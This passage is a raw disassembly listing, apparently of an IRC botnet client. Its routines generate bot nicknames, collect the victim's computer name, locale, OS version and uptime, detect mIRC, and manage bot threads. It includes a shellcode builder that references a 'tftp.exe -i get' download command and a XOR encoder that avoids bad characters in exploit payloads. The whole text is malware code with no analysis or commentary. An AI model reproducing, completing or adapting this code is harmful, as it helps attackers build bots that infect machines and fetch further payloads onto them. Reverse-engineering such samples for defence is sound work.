		push	esi
		push	edi
		call	dword_4280B0	; GetTickCount
		push	eax
		call	sub_41BF48
		mov	edi, [esp+10h]
		mov	dword ptr [esp], offset	aL4m3r ; "[l4m3r]"
		push	offset aS_2	; "%s"
		push	1Ch
		push	edi
		call	sub_41BFF0
		xor	esi, esi
		add	esp, 10h
		cmp	dword_42A984, esi
		jle	short loc_40AA43


loc_40AA1D:				; CODE XREF: .XPack0:0040AA41j
		call	sub_41BF52
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		push	edi
		push	offset dword_42DAB0
		push	1Ch
		push	edi
		call	sub_41BFF0
		add	esp, 14h
		inc	esi
		cmp	esi, dword_42A984
		jl	short loc_40AA1D


loc_40AA43:				; CODE XREF: .XPack0:0040AA1Bj
		mov	eax, edi
		pop	edi
		pop	esi
		retn

; =============== S U B	R O U T	I N E =======================================



sub_40AA48	proc near		; CODE XREF: sub_401AA1+68A0p

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		push	edi
		call	dword_4280B0	; GetTickCount
		push	eax
		call	sub_41BF48
		pop	ecx
		call	sub_41BF52
		push	3
		mov	ebx, [esp+10h+arg_0]
		cdq
		pop	ecx
		xor	edi, edi
		idiv	ecx
		mov	esi, edx
		add	esi, dword_42A984
		test	esi, esi
		jle	short loc_40AA8B


loc_40AA75:				; CODE XREF: sub_40AA48+41j
		call	sub_41BF52
		push	1Ah
		cdq
		pop	ecx
		idiv	ecx
		add	dl, 61h
		mov	[edi+ebx], dl
		inc	edi
		cmp	edi, esi
		jl	short loc_40AA75


loc_40AA8B:				; CODE XREF: sub_40AA48+2Bj
		and	byte ptr [edi+ebx], 0
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
sub_40AA48	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		push	edi
		mov	dword ptr [ebp-4], 100h
		call	dword_4280B0	; GetTickCount
		push	eax
		call	sub_41BF48
		pop	ecx
		lea	eax, [ebp-4]
		mov	esi, offset aPc	; "PC"
		push	eax
		push	esi
		call	dword_4280C8	; GetComputerNameA
		mov	edi, [ebp+8]
		push	esi
		push	1Ch
		push	edi
		call	sub_41BFF0
		xor	esi, esi
		add	esp, 0Ch
		cmp	dword_42A984, esi
		jle	short loc_40AAFE


loc_40AAD8:				; CODE XREF: .XPack0:0040AAFCj
		call	sub_41BF52
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		push	edi
		push	offset dword_42DAB0
		push	1Ch
		push	edi
		call	sub_41BFF0
		add	esp, 14h
		inc	esi
		cmp	esi, dword_42A984
		jl	short loc_40AAD8


loc_40AAFE:				; CODE XREF: .XPack0:0040AAD6j
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	esi
		push	edi
		call	dword_4280B0	; GetTickCount
		push	eax
		call	sub_41BF48
		pop	ecx
		lea	eax, [ebp-0Ch]
		push	0Ah
		push	eax
		push	7
		push	800h
		call	dword_4280CC	; GetLocaleInfoA
		mov	edi, [ebp+8]
		lea	eax, [ebp-0Ch]
		push	eax
		push	offset aS_3	; "%s|"
		push	1Ch
		push	edi
		call	sub_41BFF0
		xor	esi, esi
		add	esp, 10h
		cmp	dword_42A984, esi
		jle	short loc_40AB73


loc_40AB4D:				; CODE XREF: .XPack0:0040AB71j
		call	sub_41BF52
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		push	edi
		push	offset dword_42DAB0
		push	1Ch
		push	edi
		call	sub_41BFF0
		add	esp, 14h
		inc	esi
		cmp	esi, dword_42A984
		jl	short loc_40AB4D


loc_40AB73:				; CODE XREF: .XPack0:0040AB4Bj
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 94h
		push	esi
		lea	eax, [ebp-94h]
		push	edi
		push	eax
		mov	esi, offset byte_4404C4
		mov	dword ptr [ebp-94h], 94h
		call	dword_4280D0	; GetVersionExA
		call	dword_4280B0	; GetTickCount
		push	eax
		call	sub_41BF48
		cmp	dword ptr [ebp-90h], 4
		pop	ecx
		jnz	short loc_40ABFD
		cmp	dword ptr [ebp-8Ch], 0
		jnz	short loc_40ABDD
		cmp	dword ptr [ebp-84h], 1
		jnz	short loc_40ABCD
		mov	esi, offset a95	; "95"


loc_40ABCD:				; CODE XREF: .XPack0:0040ABC6j
		cmp	dword ptr [ebp-84h], 2
		jnz	short loc_40AC39
		mov	esi, offset aNt_0 ; "NT"
		jmp	short loc_40AC39
; ---------------------------------------------------------------------------


loc_40ABDD:				; CODE XREF: .XPack0:0040ABBDj
		cmp	dword ptr [ebp-8Ch], 0Ah
		jnz	short loc_40ABED
		mov	esi, offset a98	; "98"
		jmp	short loc_40AC39
; ---------------------------------------------------------------------------


loc_40ABED:				; CODE XREF: .XPack0:0040ABE4j
		cmp	dword ptr [ebp-8Ch], 5Ah
		jnz	short loc_40AC34
		mov	esi, offset aMe_0 ; "ME"
		jmp	short loc_40AC39
; ---------------------------------------------------------------------------


loc_40ABFD:				; CODE XREF: .XPack0:0040ABB4j
		cmp	dword ptr [ebp-90h], 5
		jnz	short loc_40AC34
		cmp	dword ptr [ebp-8Ch], 0
		jnz	short loc_40AC16
		mov	esi, offset a2k	; "2K"
		jmp	short loc_40AC39
; ---------------------------------------------------------------------------


loc_40AC16:				; CODE XREF: .XPack0:0040AC0Dj
		cmp	dword ptr [ebp-8Ch], 1
		jnz	short loc_40AC26
		mov	esi, offset aXp_0 ; "XP"
		jmp	short loc_40AC39
; ---------------------------------------------------------------------------


loc_40AC26:				; CODE XREF: .XPack0:0040AC1Dj
		cmp	dword ptr [ebp-8Ch], 2
		mov	esi, offset a2k3 ; "2K3"
		jz	short loc_40AC39


loc_40AC34:				; CODE XREF: .XPack0:0040ABF4j
					; .XPack0:0040AC04j
		mov	esi, offset a??? ; "???"


loc_40AC39:				; CODE XREF: .XPack0:0040ABD4j
					; .XPack0:0040ABDBj ...
		mov	edi, [ebp+8]
		push	esi
		push	offset aS_4	; "[%s]|"
		push	1Ch
		push	edi
		call	sub_41BFF0
		xor	esi, esi
		add	esp, 10h
		cmp	dword_42A984, esi
		jle	short loc_40AC7D


loc_40AC57:				; CODE XREF: .XPack0:0040AC7Bj
		call	sub_41BF52
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		push	edi
		push	offset dword_42DAB0
		push	1Ch
		push	edi
		call	sub_41BFF0
		add	esp, 14h
		inc	esi
		cmp	esi, dword_42A984
		jl	short loc_40AC57


loc_40AC7D:				; CODE XREF: .XPack0:0040AC55j
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40AC83	proc near		; CODE XREF: sub_40AD20+60p

var_1C		= byte ptr -1Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	esi
		call	dword_4280B0	; GetTickCount
		xor	edx, edx
		mov	ecx, 5265C00h
		div	ecx
		push	0
		push	offset aMirc_0	; "mIRC"
		mov	esi, eax
		call	dword_4CE314	; FindWindowA
		cmp	esi, 64h
		jbe	short loc_40ACD2
		test	eax, eax
		mov	eax, offset aM_0 ; "[M]"
		jnz	short loc_40ACBB
		mov	eax, offset byte_4404C4


loc_40ACBB:				; CODE XREF: sub_40AC83+31j
		push	eax
		push	esi
		push	offset aDS	; "[%d]%s"
		lea	eax, [ebp+var_1C]
		push	1Ch
		push	eax
		call	sub_41BFF0
		add	esp, 14h
		jmp	short loc_40ACEC
; ---------------------------------------------------------------------------


loc_40ACD2:				; CODE XREF: sub_40AC83+28j
		test	eax, eax
		mov	eax, offset aM_0 ; "[M]"
		jnz	short loc_40ACE0
		mov	eax, offset byte_4404C4


loc_40ACE0:				; CODE XREF: sub_40AC83+56j
		push	eax
		lea	eax, [ebp+var_1C]
		push	eax
		call	sub_41BEF6
		pop	ecx
		pop	ecx


loc_40ACEC:				; CODE XREF: sub_40AC83+4Dj
		lea	eax, [ebp+var_1C]
		push	eax
		call	sub_41B650
		pop	ecx
		cmp	eax, 2
		pop	esi
		jbe	short loc_40AD1B
		push	1Ch
		lea	eax, [ebp+var_1C]
		push	[ebp+arg_0]
		push	eax
		call	sub_41C850
		lea	eax, [ebp+var_1C]
		push	1Ch
		push	eax
		push	[ebp+arg_0]
		call	sub_41BC60
		add	esp, 18h


loc_40AD1B:				; CODE XREF: sub_40AC83+77j
		mov	eax, [ebp+arg_0]
		leave
		retn
sub_40AC83	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40AD20	proc near		; CODE XREF: sub_4017BF+7Fp
					; sub_401925+50p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		xor	edi, edi
		xor	esi, esi


loc_40AD29:				; CODE XREF: sub_40AD20+43j
		cmp	[ebp+arg_C], 0
		jz	short loc_40AD47
		lea	eax, dword_430158[esi]
		push	eax
		push	[ebp+arg_C]
		call	sub_41C6E0
		neg	eax
		pop	ecx
		sbb	eax, eax
		pop	ecx
		inc	eax
		jmp	short loc_40AD55
; ---------------------------------------------------------------------------


loc_40AD47:				; CODE XREF: sub_40AD20+Dj
		mov	ecx, dword_430164[esi]
		xor	eax, eax
		cmp	ecx, [ebp+arg_4]
		setz	al


loc_40AD55:				; CODE XREF: sub_40AD20+25j
		test	eax, eax
		jnz	short loc_40AD67
		add	esi, 14h
		inc	edi
		cmp	esi, 8Ch
		jb	short loc_40AD29
		jmp	short loc_40AD75
; ---------------------------------------------------------------------------


loc_40AD67:				; CODE XREF: sub_40AD20+37j
		push	[ebp+arg_0]
		lea	eax, [edi+edi*4]
		call	off_430168[eax*4]
		pop	ecx


loc_40AD75:				; CODE XREF: sub_40AD20+45j
		cmp	[ebp+arg_8], 0
		pop	edi
		pop	esi
		jz	short loc_40AD88
		push	[ebp+arg_0]
		call	sub_40AC83
		pop	ecx
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_40AD88:				; CODE XREF: sub_40AD20+5Bj
		mov	eax, [ebp+arg_0]
		pop	ebp
		retn
sub_40AD20	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 0B8h
		push	ebx
		push	esi
		lea	eax, [ebp-0B8h]
		push	edi
		push	eax
		mov	edi, offset byte_4404C4
		mov	dword ptr [ebp-0B8h], 94h
		call	dword_4280D0	; GetVersionExA
		cmp	dword ptr [ebp-0B4h], 4
		push	0Ah
		pop	ebx
		jnz	short loc_40AE07
		cmp	dword ptr [ebp-0B0h], 0
		jnz	short loc_40ADE8
		cmp	dword ptr [ebp-0A8h], 1
		jnz	short loc_40ADD8
		mov	edi, offset a95	; "95"


loc_40ADD8:				; CODE XREF: .XPack0:0040ADD1j
		cmp	dword ptr [ebp-0A8h], 2
		jnz	short loc_40AE43
		mov	edi, offset aNt_0 ; "NT"
		jmp	short loc_40AE43
; ---------------------------------------------------------------------------


loc_40ADE8:				; CODE XREF: .XPack0:0040ADC8j
		cmp	[ebp-0B0h], ebx
		jnz	short loc_40ADF7
		mov	edi, offset a98	; "98"
		jmp	short loc_40AE43
; ---------------------------------------------------------------------------


loc_40ADF7:				; CODE XREF: .XPack0:0040ADEEj
		cmp	dword ptr [ebp-0B0h], 5Ah
		jnz	short loc_40AE3E
		mov	edi, offset aMe_0 ; "ME"
		jmp	short loc_40AE43
; ---------------------------------------------------------------------------


loc_40AE07:				; CODE XREF: .XPack0:0040ADBFj
		cmp	dword ptr [ebp-0B4h], 5
		jnz	short loc_40AE3E
		cmp	dword ptr [ebp-0B0h], 0
		jnz	short loc_40AE20
		mov	edi, offset a2k	; "2K"
		jmp	short loc_40AE43
; ---------------------------------------------------------------------------


loc_40AE20:				; CODE XREF: .XPack0:0040AE17j
		cmp	dword ptr [ebp-0B0h], 1
		jnz	short loc_40AE30
		mov	edi, offset aXp_0 ; "XP"
		jmp	short loc_40AE43
; ---------------------------------------------------------------------------


loc_40AE30:				; CODE XREF: .XPack0:0040AE27j
		cmp	dword ptr [ebp-0B0h], 2
		mov	edi, offset dword_433ED0
		jz	short loc_40AE43


loc_40AE3E:				; CODE XREF: .XPack0:0040ADFEj
					; .XPack0:0040AE0Ej
		mov	edi, offset dword_433ECC


loc_40AE43:				; CODE XREF: .XPack0:0040ADDFj
					; .XPack0:0040ADE6j ...
		lea	eax, [ebp-0A4h]
		push	offset dword_4CE1C0
		push	eax
		call	sub_41C6E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40AE61
		mov	esi, offset dword_433EC8
		jmp	short loc_40AEDC
; ---------------------------------------------------------------------------


loc_40AE61:				; CODE XREF: .XPack0:0040AE58j
		lea	eax, [ebp-0A4h]
		push	offset a1	; "1"
		push	eax
		call	sub_41BF70
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40AE7F
		mov	esi, offset sub_433EC4
		jmp	short loc_40AEDC
; ---------------------------------------------------------------------------


loc_40AE7F:				; CODE XREF: .XPack0:0040AE76j
		lea	eax, [ebp-0A4h]
		push	offset dword_433EC0
		push	eax
		call	sub_41BF70
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40AE9D
		mov	esi, offset dword_433EBC
		jmp	short loc_40AEDC
; ---------------------------------------------------------------------------


loc_40AE9D:				; CODE XREF: .XPack0:0040AE94j
		lea	eax, [ebp-0A4h]
		push	offset dword_433EB8
		push	eax
		call	sub_41BF70
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40AEBB
		mov	esi, offset dword_433EB4
		jmp	short loc_40AEDC
; ---------------------------------------------------------------------------


loc_40AEBB:				; CODE XREF: .XPack0:0040AEB2j
		lea	eax, [ebp-0A4h]
		push	offset dword_433EB0
		push	eax
		call	sub_41BF70
		pop	ecx
		mov	esi, offset dword_433EAC
		test	eax, eax
		pop	ecx
		jnz	short loc_40AEDC
		mov	esi, offset off_433EA8


loc_40AEDC:				; CODE XREF: .XPack0:0040AE5Fj
					; .XPack0:0040AE7Dj ...
		lea	eax, [ebp-0Ch]
		or	dword ptr [ebp-4], 0FFFFFFFFh
		push	eax
		or	dword ptr [ebp-8], 0FFFFFFFFh
		or	dword ptr [ebp-0Ch], 0FFFFFFFFh
		lea	eax, [ebp-8]
		push	eax
		lea	eax, [ebp-4]
		push	eax
		push	offset aDdDhDm	; "%dd %dh %dm"
		push	0
		call	sub_41AF01
		pop	ecx
		push	eax
		call	sub_41C973
		mov	eax, [ebp-4]
		add	esp, 14h
		cmp	eax, ebx
		jge	short loc_40AF26
		push	eax
		push	offset a0D	; "0%d"
		lea	eax, [ebp-18h]
		push	ebx
		push	eax
		call	sub_41BFF0
		add	esp, 10h
		jmp	short loc_40AF4A
; ---------------------------------------------------------------------------


loc_40AF26:				; CODE XREF: .XPack0:0040AF0Fj
		cmp	eax, 64h
		jge	short loc_40AF38
		lea	ecx, [ebp-18h]
		push	ebx
		push	ecx
		push	eax
		call	sub_426E0C
		jmp	short loc_40AF47
; ---------------------------------------------------------------------------


loc_40AF38:				; CODE XREF: .XPack0:0040AF29j
		push	offset a99	; "99"
		lea	eax, [ebp-18h]
		push	ebx
		push	eax
		call	sub_41BFF0


loc_40AF47:				; CODE XREF: .XPack0:0040AF36j
		add	esp, 0Ch


loc_40AF4A:				; CODE XREF: .XPack0:0040AF24j
		call	dword_4280B0	; GetTickCount
		push	eax
		call	sub_41BF48
		pop	ecx
		lea	eax, [ebp-24h]
		push	ebx
		push	eax
		push	7
		push	800h
		call	dword_4280CC	; GetLocaleInfoA
		lea	eax, [ebp-18h]
		push	eax
		push	esi
		lea	eax, [ebp-24h]
		push	edi
		mov	edi, [ebp+8]
		push	eax
		push	offset aSSSS	; "[%s]%s|%s|%s|"
		push	1Ch
		push	edi
		call	sub_41BFF0
		xor	esi, esi
		add	esp, 1Ch
		cmp	dword_42A984, esi
		jle	short loc_40AFB5


loc_40AF90:				; CODE XREF: .XPack0:0040AFB3j
		call	sub_41BF52
		cdq
		mov	ecx, ebx
		idiv	ecx
		push	edx
		push	edi
		push	offset dword_42DAB0
		push	1Ch
		push	edi
		call	sub_41BFF0
		add	esp, 14h
		inc	esi
		cmp	esi, dword_42A984
		jl	short loc_40AF90


loc_40AFB5:				; CODE XREF: .XPack0:0040AF8Ej
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn

; =============== S U B	R O U T	I N E =======================================



sub_40AFBC	proc near		; CODE XREF: sub_40AFDC+Ap
					; sub_40B0B4+8p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	[esp+4+arg_0]
		call	sub_41B650
		push	[esp+8+arg_4]
		mov	esi, eax
		call	sub_41B650
		pop	ecx
		lea	eax, [esi+eax*2+0C1h]
		pop	ecx
		pop	esi
		retn
sub_40AFBC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40AFDC	proc near		; CODE XREF: sub_40B0CB+49p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		call	sub_40AFBC
		cmp	eax, [ebp+arg_4]
		pop	ecx
		pop	ecx
		mov	[ebp+var_4], eax
		jbe	short loc_40AFF9
		xor	eax, eax
		leave
		retn
; ---------------------------------------------------------------------------


loc_40AFF9:				; CODE XREF: sub_40AFDC+17j
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_8]
		call	sub_41B650
		push	[ebp+arg_C]
		mov	esi, eax
		call	sub_41B650
		mov	edi, eax
		mov	ebx, [ebp+arg_0]
		push	0FFFFFFEDh
		lea	eax, [edi+esi+12h]
		mov	dword_433F6C, eax
		lea	eax, [edi+1]
		mov	dword_433F8D, eax
		lea	eax, [edi+17h]
		mov	dword_433F85, eax
		pop	eax
		push	74h
		sub	eax, edi
		push	offset dword_433F08
		push	ebx
		mov	dword_433F9B, eax
		call	near ptr sub_41C9B0
		push	esi
		lea	eax, [ebx+74h]
		push	[ebp+arg_8]
		push	eax
		call	near ptr sub_41C9B0
		add	esi, 74h
		push	5
		push	(offset	aTftp_exeIGet+0Ch)
		lea	eax, [esi+ebx]
		push	eax
		call	near ptr sub_41C9B0
		add	esi, 5
		push	edi
		push	[ebp+arg_C]
		lea	eax, [esi+ebx]
		push	eax
		call	near ptr sub_41C9B0
		add	esi, edi
		push	10h
		push	(offset	aTftp_exeIGet+11h)
		lea	eax, [esi+ebx]
		push	eax
		call	near ptr sub_41C9B0
		add	esp, 44h
		add	esi, 10h
		push	edi
		lea	eax, [esi+ebx]
		push	[ebp+arg_C]
		push	eax
		call	near ptr sub_41C9B0
		add	esi, edi
		push	38h
		add	esi, ebx
		push	offset byte_433F91
		push	esi
		call	near ptr sub_41C9B0
		mov	eax, [ebp+var_4]
		add	esp, 18h
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40AFDC	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B0B4	proc near		; CODE XREF: sub_40B0CB+Dp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	[esp+arg_4]
		push	[esp+4+arg_0]
		call	sub_40AFBC
		push	eax
		call	sub_40B138
		add	esp, 0Ch
		retn
sub_40B0B4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B0CB	proc near		; CODE XREF: sub_40DBEF+32p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ebx
		mov	ebx, [ebp+arg_8]
		push	edi
		mov	edi, [ebp+arg_C]
		push	edi
		push	ebx
		call	sub_40B0B4
		cmp	eax, [ebp+arg_4]
		pop	ecx
		pop	ecx
		ja	short loc_40B0EB
		cmp	eax, 0FFFFh
		jbe	short loc_40B0EF


loc_40B0EB:				; CODE XREF: sub_40B0CB+17j
		xor	eax, eax
		jmp	short loc_40B134
; ---------------------------------------------------------------------------


loc_40B0EF:				; CODE XREF: sub_40B0CB+1Ej
		push	esi
		push	edi
		push	ebx
		call	sub_40AFBC
		add	eax, 101h
		push	eax
		call	sub_41BB45
		add	esp, 0Ch
		mov	esi, eax
		push	edi
		push	ebx
		push	edi
		push	ebx
		call	sub_40AFBC
		pop	ecx
		pop	ecx
		push	eax
		push	esi
		call	sub_40AFDC
		push	eax
		push	esi
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40B153
		push	esi
		mov	edi, eax
		call	sub_41B721
		add	esp, 24h
		mov	eax, edi
		pop	esi


loc_40B134:				; CODE XREF: sub_40B0CB+22j
		pop	edi
		pop	ebx
		pop	ebp
		retn
sub_40B0CB	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B138	proc near		; CODE XREF: sub_40B0B4+Ep
					; sub_40B153+47p

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		test	cl, cl
		jnz	short loc_40B141
		inc	ecx


loc_40B141:				; CODE XREF: sub_40B138+6j
		mov	eax, 0FFh
		cmp	eax, ecx
		sbb	eax, eax
		and	eax, 2
		add	eax, 15h
		add	eax, ecx
		retn
sub_40B138	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B153	proc near		; CODE XREF: sub_40B0CB+56p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	edx, [ebp+arg_C]
		cmp	dl, 0Ah
		jz	short loc_40B16D
		cmp	dl, 0Dh
		jz	short loc_40B16D
		cmp	dl, 5Ch
		jz	short loc_40B16D
		test	dl, dl
		jnz	short loc_40B171


loc_40B16D:				; CODE XREF: sub_40B153+Aj
					; sub_40B153+Fj ...
		inc	edx
		mov	[ebp+arg_C], edx


loc_40B171:				; CODE XREF: sub_40B153+18j
		push	esi
		mov	esi, 0FFh
		cmp	edx, esi
		jbe	short loc_40B199
		mov	eax, edx
		shr	eax, 8
		cmp	al, 0Ah
		jz	short loc_40B190
		cmp	al, 0Dh
		jz	short loc_40B190
		cmp	al, 5Ch
		jz	short loc_40B190
		test	al, al
		jnz	short loc_40B199


loc_40B190:				; CODE XREF: sub_40B153+2Fj
					; sub_40B153+33j ...
		add	edx, 100h
		mov	[ebp+arg_C], edx


loc_40B199:				; CODE XREF: sub_40B153+26j
					; sub_40B153+3Bj
		push	edx
		call	sub_40B138
		cmp	eax, [ebp+arg_4]
		pop	ecx
		mov	[ebp+var_4], eax
		ja	short loc_40B1AF
		cmp	eax, 0FFFFh
		jbe	short loc_40B1B6


loc_40B1AF:				; CODE XREF: sub_40B153+53j
		xor	eax, eax
		jmp	loc_40B251
; ---------------------------------------------------------------------------


loc_40B1B6:				; CODE XREF: sub_40B153+5Aj
		push	ebx
		mov	bl, byte_4CE444
		xor	ecx, ecx
		push	edi
		mov	edi, [ebp+arg_8]
		test	edx, edx
		jbe	short loc_40B1E3


loc_40B1C7:				; CODE XREF: sub_40B153+8Ej
		mov	al, [ecx+edi]
		xor	al, bl
		jz	short loc_40B1DA
		cmp	al, 0Ah
		jz	short loc_40B1DA
		cmp	al, 0Dh
		jz	short loc_40B1DA
		cmp	al, 5Ch
		jnz	short loc_40B1DE


loc_40B1DA:				; CODE XREF: sub_40B153+79j
					; sub_40B153+7Dj ...
		inc	bl
		xor	ecx, ecx


loc_40B1DE:				; CODE XREF: sub_40B153+85j
		inc	ecx
		cmp	ecx, edx
		jb	short loc_40B1C7


loc_40B1E3:				; CODE XREF: sub_40B153+72j
		cmp	edx, esi
		mov	byte_4CE444, bl
		ja	short loc_40B20F
		push	15h
		push	offset loc_433EF0
		push	[ebp+arg_0]
		mov	byte_433EFD, dl
		mov	byte_433F01, bl
		call	near ptr sub_41C9B0
		add	esp, 0Ch
		push	15h
		jmp	short loc_40B230
; ---------------------------------------------------------------------------


loc_40B20F:				; CODE XREF: sub_40B153+98j
		push	17h
		push	offset loc_433ED8
		push	[ebp+arg_0]
		mov	word_433EE6, dx
		mov	byte_433EEB, bl
		call	near ptr sub_41C9B0
		add	esp, 0Ch
		push	17h


loc_40B230:				; CODE XREF: sub_40B153+BAj
		xor	eax, eax
		pop	ecx
		cmp	[ebp+arg_C], eax
		jbe	short loc_40B24C
		mov	edx, [ebp+arg_0]
		lea	esi, [ecx+edx]


loc_40B23E:				; CODE XREF: sub_40B153+F7j
		mov	cl, [eax+edi]
		xor	cl, bl
		mov	[esi+eax], cl
		inc	eax
		cmp	eax, [ebp+arg_C]
		jb	short loc_40B23E


loc_40B24C:				; CODE XREF: sub_40B153+E3j
		mov	eax, [ebp+var_4]
		pop	edi
		pop	ebx


loc_40B251:				; CODE XREF: sub_40B153+5Ej
		pop	esi
		leave
		retn
sub_40B153	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B254	proc near		; CODE XREF: sub_40121E:loc_401584p
					; sub_40121E+3A2p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	edi
		xor	edi, edi
		mov	eax, offset dword_441048


loc_40B25C:				; CODE XREF: sub_40B254+18j
		cmp	byte ptr [eax],	0
		jz	short loc_40B270
		add	eax, 234h
		inc	edi
		cmp	eax, offset dword_4CE048
		jl	short loc_40B25C
		jmp	short loc_40B2BB
; ---------------------------------------------------------------------------


loc_40B270:				; CODE XREF: sub_40B254+Bj
		push	esi
		mov	esi, edi
		imul	esi, 234h
		push	1FFh
		push	[esp+0Ch+arg_0]
		lea	eax, dword_441048[esi]
		push	eax
		call	sub_41BC60
		mov	eax, [esp+14h+arg_4]
		and	dword_44124C[esi], 0
		and	dword_441250[esi], 0
		mov	dword_441248[esi], eax
		mov	eax, [esp+14h+arg_8]
		add	esp, 0Ch
		and	byte_441260[esi], 0
		mov	dword_441254[esi], eax
		pop	esi


loc_40B2BB:				; CODE XREF: sub_40B254+1Aj
		mov	eax, edi
		pop	edi
		retn
sub_40B254	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B2BF	proc near		; DATA XREF: sub_401AA1+2903o

var_98		= dword	ptr -98h
var_94		= byte ptr -94h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 98h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	26h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_98]
		rep movsd
		push	[ebp+var_10]
		mov	dword ptr [eax+94h], 1
		lea	eax, [ebp+var_94]
		push	[ebp+var_C]
		push	eax
		push	[ebp+var_98]
		call	sub_40B311
		push	[ebp+var_14]
		call	sub_40B56A
		add	esp, 14h
		push	0
		call	dword_4280D4	; ExitThread
		pop	edi
		pop	esi
sub_40B2BF	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B311	proc near		; CODE XREF: sub_40B2BF+38p

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	esi
		push	edi
		push	0
		push	[ebp+arg_8]
		push	offset dword_433FCC
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409743
		add	esp, 14h
		xor	edi, edi
		mov	esi, offset dword_441048


loc_40B33B:				; CODE XREF: sub_40B311+78j
		cmp	byte ptr [esi],	0
		jz	short loc_40B37C
		cmp	[ebp+arg_C], 0
		jnz	short loc_40B34F
		cmp	dword ptr [esi+204h], 0
		jnz	short loc_40B37C


loc_40B34F:				; CODE XREF: sub_40B311+33j
		push	esi
		push	edi
		lea	eax, [ebp+var_200]
		push	offset dword_42EC94
		push	eax
		call	sub_41BEF6
		push	1
		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409743
		add	esp, 24h


loc_40B37C:				; CODE XREF: sub_40B311+2Dj
					; sub_40B311+3Cj
		add	esi, 234h
		inc	edi
		cmp	esi, offset dword_4CE048
		jl	short loc_40B33B
		pop	edi
		pop	esi
		leave
		retn
sub_40B311	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B38F	proc near		; CODE XREF: sub_401AA1+7912p
					; sub_40B417+12p ...

arg_0		= dword	ptr  4

		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+0Ch+arg_0]
		xor	ebx, ebx
		xor	ebp, ebp
		cmp	esi, ebx
		jle	short loc_40B411
		cmp	esi, 400h
		jge	short loc_40B411
		imul	esi, 234h
		push	edi
		push	ebx
		lea	edi, dword_44125C[esi]
		push	dword ptr [edi]
		call	dword_4280B4	; TerminateThread
		cmp	[edi], ebx
		jz	short loc_40B3C1
		inc	ebp


loc_40B3C1:				; CODE XREF: sub_40B38F+2Fj
		mov	[edi], ebx
		lea	edi, dword_441250[esi]
		mov	dword_441248[esi], ebx
		mov	dword_44124C[esi], ebx
		mov	eax, [edi]
		cmp	eax, ebx
		jbe	short loc_40B3E2
		push	eax
		call	sub_41A03B
		pop	ecx


loc_40B3E2:				; CODE XREF: sub_40B38F+4Aj
		mov	[edi], ebx
